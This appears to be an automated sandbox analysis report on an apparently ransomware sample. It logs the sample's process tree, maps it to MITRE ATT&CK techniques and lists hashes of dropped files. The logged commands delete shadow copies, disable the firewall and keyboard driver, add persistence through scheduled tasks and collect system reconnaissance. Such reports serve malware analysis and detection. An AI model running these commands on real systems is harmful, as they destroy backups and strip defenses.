C:\Users\Admin\AppData\Local\Temp\stdutility.com_hyber.exe"C:\Users\Admin\AppData\Local\Temp\stdutility.com_hyber.exe"3⤵PID:5156
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C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs2⤵
- Executes a VBScript file via the Windows Script Host.
PID:4892
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C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\stdutility.com_hyber.exe" /sc onlogon /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:256
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1940 -
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet3⤵
- Interacts with shadow copies
PID:5208
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C:\Windows\System32\Wbem\WMIC.exewmic shadowcopy delete3⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
PID:2504
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5672 -
C:\Windows\system32\systeminfo.exesysteminfo3⤵
- Gathers system information
PID:4888
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5748 -
C:\Windows\system32\tasklist.exetasklist3⤵
- Discovers running processes
- Suspicious use of AdjustPrivilegeToken
PID:5032
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2356 -
C:\Windows\system32\whoami.exewhoami3⤵
- Suspicious use of AdjustPrivilegeToken
PID:5680
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4044 -
C:\Windows\system32\net.exenet user3⤵
- Suspicious use of WriteProcessMemory
PID:2580 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user4⤵PID:4260
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3636 -
C:\Windows\system32\ipconfig.exeipconfig /all3⤵
- Gathers network information
PID:3340
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1532 -
C:\Windows\system32\NETSTAT.EXEnetstat -an3⤵
- Gathers network information
- Suspicious use of AdjustPrivilegeToken
PID:3968
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C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\stdutility.com_hyber.exe" /sc daily /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:5376
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C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs2⤵
- Executes a VBScript file via the Windows Script Host.
PID:1956
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C:\Windows\System32\notepad.exe"C:\Windows\System32\notepad.exe"2⤵PID:2144
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C:\Windows\System32\vssadmin.exe"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet2⤵
- Interacts with shadow copies
PID:960
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C:\Windows\System32\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete2⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5124 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:4196
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C:\Windows\System32\net.exe"C:\Windows\System32\net.exe" stop srservice2⤵
- Suspicious use of WriteProcessMemory
PID:476 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop srservice3⤵PID:5924
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C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off2⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
PID:5300
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config i8042prt start= disabled2⤵
- Launches sc.exe
PID:4276
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop i8042prt2⤵
- Launches sc.exe
PID:1196
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C:\Windows\system32\LogonUI.exe"LogonUI.exe" /flags:0x0 /state0:0xa3a23855 /state1:0x41c64e6d1⤵
- Drops file in System32 directory
- Drops file in Windows directory
- Checks processor information in registry
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:1720
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k CameraMonitor1⤵PID:4212
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C:\Users\Admin\AppData\Local\Temp\stdutility.com_hyber.exeC:\Users\Admin\AppData\Local\Temp\stdutility.com_hyber.exe1⤵PID:3108
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C:\Users\Admin\AppData\Local\Temp\stdutility.com_hyber.exeC:\Users\Admin\AppData\Local\Temp\stdutility.com_hyber.exe1⤵PID:4684
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵PID:4312
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
4PowerShell
1Visual Basic
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1System Services
2Service Execution
2Windows Management Instrumentation
1Persistence
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
4Windows Service
4Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
4Windows Service
4Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Direct Volume Access
1Impair Defenses
3Disable or Modify System Firewall
1Disable or Modify Tools
1Indicator Removal
2File Deletion
2Modify Registry
3Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
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Downloads
- Path C:\SystemVolumeInformation\doc_2.pdf
- Size 66KB
- SHA256 265a9d9f4723d42a9ce65252528184c43b6c85ec9f3de55dd867b249ec115f35
- MD5 c4250f021662d0f9f17c2a9e81c7f167
- SHA1 b9fcb07f90ab944a81bd6e958570459543b762b2
- SHA512 dbdcfe0f0d920b2c4bc4dcfbc031f24b310c48633308af0ca4b65c35436898f668aededc1f9bb2baa768b1a3d0c01e03f71ca25e21400f12255d5a29f3eedeb6
- SSDEEP 1536:c2Rveo0zwn1+7cRMa3EJp885FR8v8A0XtKkcON/EuczBcdhCBJA8ezply9ueJzR1:cgvQzwnA81EgsFRa10XtKkcONHczBcdg
- TLSH T1AF633B378B27FCD1677F3E80F06429920C84396747B1A678FBC509A93CA5584EF2D998
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kbkat1ic.ia4.psm1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
- Size 245B
- SHA256 23419e0f7b41a9d874780a027c48b2198480397046ba6bb532e0aaadd4534858
- MD5 efee56bd588d152d4bd8ff97735afc86
- SHA1 c79b25bd7061f72285150209515508f718d30bfc
- SHA512 c5eb7bef1b355e7d084c6aa14bf7af6543fa6ae1f4a5cf8dcd8fe0db31ca319261901c4a7f80e686167ac527a5a9faa2db45998b826e3b1fd29274798cab30b0
- TLSH T1B3D0A79BB24DC6A90001223B81F3CE8CE9F5582C3B17BEA04AA5DD4E32908C489FA543
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\del.bat
- Size 59B
- SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
- MD5 9cecbebdcdd60358132849714a3b82f7
- SHA1 be6e20834a5726f3742f05e6bdfaff16118b147f
- SHA512 7b48bd66b4c741d2de2e8b7bc0eab8f438ddc1ed0c73e8b70add9bee400f6640f692884965032616e2d6911a22a17d1d3762421aa49fe021660c9052cfc0675a
- TLSH T13DA002620F961E5469529E5AD73425239D1F104CD1390012F05232903DA98DE0EC2144
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
- Size 246B
- SHA256 242d949e3f02bbeed36b2cf0a0a403d8f1c6d4216f1fbf4f21143041a54ec2a2
- MD5 1fec1613861351c0cc56396496e8e6ee
- SHA1 fb45b010f8eb7e1da61e86c9f856051500cf67d3
- SHA512 a95df7c8987927f757999db989129c280f6f46583b23ac8d6ffd0c50ed09c9c11ceece8a9b7af8875df47f786b2b3a5395c99502f2d840fd8fa558e99118513a
- TLSH T12AD0A5DB714DC5A90001113B40F3CD4CD5E1542C3B17BE605555DD0F328088485F5543
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\Documents\invoice_1.pdf
- Size 66KB
- SHA256 c81d5814000fde04771a8e5f71f4a565359c21b3c5d526f6e492d11c8c999dd8
- MD5 2e07436c4ddc7b2bea44e98c9a869bb4
- SHA1 4523273b730576817fdffad13dc64098c15d3dd2
- SHA512 0f4131f2140383bbd37700930ba5c38c403f4e191f75b7d0868734b691da9048e685a4ab032de7c7c6f7df67a53092dd4ef36d72fd18fa5bb5306e02df2f3d01
- SSDEEP 1536:82Rveo0zwn1+7cRMa3EJp885FR8v8A0XtKkcON/EuczBcdhCBJA8ezply9ueJzRi:8gvQzwnA81EgsFRa10XtKkcONHczBcdp
- TLSH T1A4634A378A27FCC5677F3E80F05439920C84396747B1A668FBC509A93CA56C4EF2D998
- MD5 SHA1 SHA512 SSDEEP TLSH